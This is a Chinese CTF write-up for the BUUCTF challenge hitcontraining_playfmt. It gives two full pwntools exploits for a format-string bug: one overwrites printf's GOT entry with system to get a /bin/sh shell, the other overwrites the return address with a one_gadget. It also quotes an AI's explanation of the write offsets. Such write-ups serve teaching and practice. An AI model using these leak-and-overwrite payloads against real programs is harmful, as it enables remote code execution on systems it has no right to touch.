方法一:修改printf为system,输入/bin/sh
这种方法会有点复杂
以buu上的hitcontraining_playfmt为例
没有开FULL RELRO,也就是说got表可改,那么我们的思路就是把printf的got表改成system,输入/bin/sh即可拿到shell
最终exp
from pwn import *
#r = remote("node5.buuoj.cn", 28773)
r = process("./playfmt")
elf = ELF("./playfmt")
libc = ELF('./libc-2.23.so')
printf_got = 0x0804A010
old_addr = 0x0804B080
# printf:0xf7d7b2d0 system:0xf7d67200
context.log_level = 'debug'
DEBUG = 0
'''if DEBUG:
gdb.attach(r,
b *0x0804854F
c
)'''
#gdb.attach(r)
r.recvuntil("=====================\n")
r.recvuntil("=====================\n") #6 rbp 9 GOT 10 6->10
payload = "%6$p\n%15$p"
r.sendline(payload)
rbp = int(r.recvuntil('\n').strip(), 16) #泄露栈地址
success("rbp:"+hex(rbp))
start_main = int(r.recvuntil('\n').strip(), 16) - 247 #泄露libc地址
libc.address = start_main - libc.sym['__libc_start_main']
system = libc.sym['system']
success("libc:"+hex(libc.address))
print(hex(system))
raw_input() #
got_addr = rbp - 4
num = got_addr & 0xFF
payload = '%' + str(num) + 'c%6$hhn' #把libc地址抓入栈
r.sendline(payload)
raw_input()
num = (printf_got)& 0xFF
payload = '%' + str(num) + 'c%10$hhn' #把printf_got抓入栈
r.sendline(payload)
raw_input()
got_addr = rbp - 8 - 4
num = got_addr&0xFF
payload = '%' + str(num) + 'c%6$hhn'
r.sendline(payload)
raw_input()
num = (printf_got+2) & 0xFFFF
payload = '%' + str(num) + 'c%10$hn' #把printf_got+2抓入栈
r.sendline(payload)
raw_input()
num1 = system&0xFFFF #0x5678
num2 = (system>>16)-num1
print(hex(num1), ',', hex(num2))
payload ='%' + str(num1) + 'c%9$hn%' + str(num2) + 'c%7$hn' #把printf_got改为system
r.sendline(payload)
'''raw_input()
payload='%' + str(num2) + 'c%7$hn'
r.sendline(payload)'''
raw_input()
payload = "/bin/sh"
r.sendline(payload)
r.interactive()
#pause()
把libc地址抓进栈中
raw_input() #
got_addr = rbp - 4
num = got_addr & 0xFF
payload = '%' + str(num) + 'c%6$hhn' #把libc地址抓入栈
r.sendline(payload)
因为libc的地址只有低8位不同,通过写入低字节把printf_got抓到栈中
raw_input()
num = (printf_got)& 0xFF
payload = '%' + str(num) + 'c%10$hhn' #把printf_got抓入栈
r.sendline(payload)
把print_got+2抓入栈中(把print_got改成system要一半一半的改)
raw_input()
num = (printf_got+2) & 0xFFFF
payload = '%' + str(num) + 'c%10$hn' #把printf_got+2抓入栈
r.sendline(payload)
把printf_got改成system
raw_input()
num1 = system&0xFFFF #0x5678
num2 = (system>>16)-num1
print(hex(num1), ',', hex(num2))
payload ='%' + str(num1) + 'c%9$hn%' + str(num2) + 'c%7$hn' #把printf_got改为system
r.sendline(payload)
这里num2为什么要减去num1,且看AI怎么说:
num2
是计算用来进行格式字符串漏洞利用时的一个重要部分。具体来说,num2 = (system >> 16) - num1
旨在算出在利用 printf
的格式字符串时需要写入的第二个16位数。
让我们逐步分析代码中为什么会有这样的操作:
-
狙击的目标: 该代码段的目标是将
system
的地址写入到某个特定的内存位置(例如 GOT 中的某个函数地址),使得在后续调用该函数时能够执行system("/bin/sh")
,从而获得一个 shell。 -
16位数分解: 在 x86 系统中,指针通常是 32 位的。如果我们想把一个 32 位的地址(例如
system
的地址)分成两个部分,即高 16 位和低 16 位:num1
是system
地址的低 16 位(通过num = system & 0xFFFF
获取)。num2
是system
地址的高 16 位(通过(system >> 16) - num1
计算得到)。
这里的操作
(system >> 16)
将地址右移 16 位,从而取出高 16 位。然后通过减去num1
,我们得到需要加到低 16 位后面以达到完整地址的偏移量。 -
格式化字符串参数: 在格式字符串攻击中,
%hn
写入 16 位的数值到一个指定的内存地址。因此,你需要两个写操作:- 第一次写操作用
num1
(低 16 位)。 - 第二次写操作则将
num2
写入到目标地址的高 16 位。
- 第一次写操作用
-
执行顺序: 在这种方式控制内存写入时,确保正确顺序非常重要,因为低 16 位和高 16 位分别会被修改,因此需要正确的偏移才能将
system
的完整地址写入目标位置。
总结起来,num2
的计算是通过右移和减去 num1
获取的为了将 system
地址的高 16 位正确写入目的地。这种技术是利用格式字符串漏洞进行精准内存操作的重要手段。
注意:这里因为是在play函数里面改的,系统已经会按照代码继续执行,所以改掉返回地址也没有关系,不要误认为是通过printf_got+2来执行的
方法二:修改返回地址为oneget来getshell
先放exp
from pwn import*
#io=process('./playfmt')
io=remote('node5.buuoj.cn','27461')
context(arch='i386',os='linux',log_level='debug')
libc=ELF('./libc-2.23.so')
def fmt(a):
io.send(a)
#gdb.attach(io)
io.recvuntil("=====================\n")
io.recvuntil("=====================\n") #6 rbp 9 GOT 10 6->10
payload = "%6$p\n%15$p"
io.sendline(payload)
rbp = int(io.recvuntil('\n').strip(), 16) #泄露栈地址
success("rbp:"+hex(rbp))
start_main = int(io.recvuntil('\n').strip(), 16) - 247 #泄露libc地址
libc.address = start_main - libc.sym['__libc_start_main']
system = libc.sym['system']
success("libc:"+hex(libc.address))
print(hex(system))
one=p32(libc.address+0x3a80c)
ret=rbp-8-4
num=(rbp-12)&0xff
payload="%"+str(num)+"c%6$hhn\0"
fmt(payload)
for i in range(4):
raw_input()
payload="%"+str(num+i)+"c%6$hhn\0"
fmt(payload)
raw_input()
payload="%"+str(one[i])+"c%10$hhn\0"
fmt(payload)
fmt('quit')
io.interactive()
#pause()
gdb调试可以看到返回地址是play函数
如果我们能把它改成onegadget,我们就能getshell
可以看到已经更改
onegadget用工具在libc文件寻找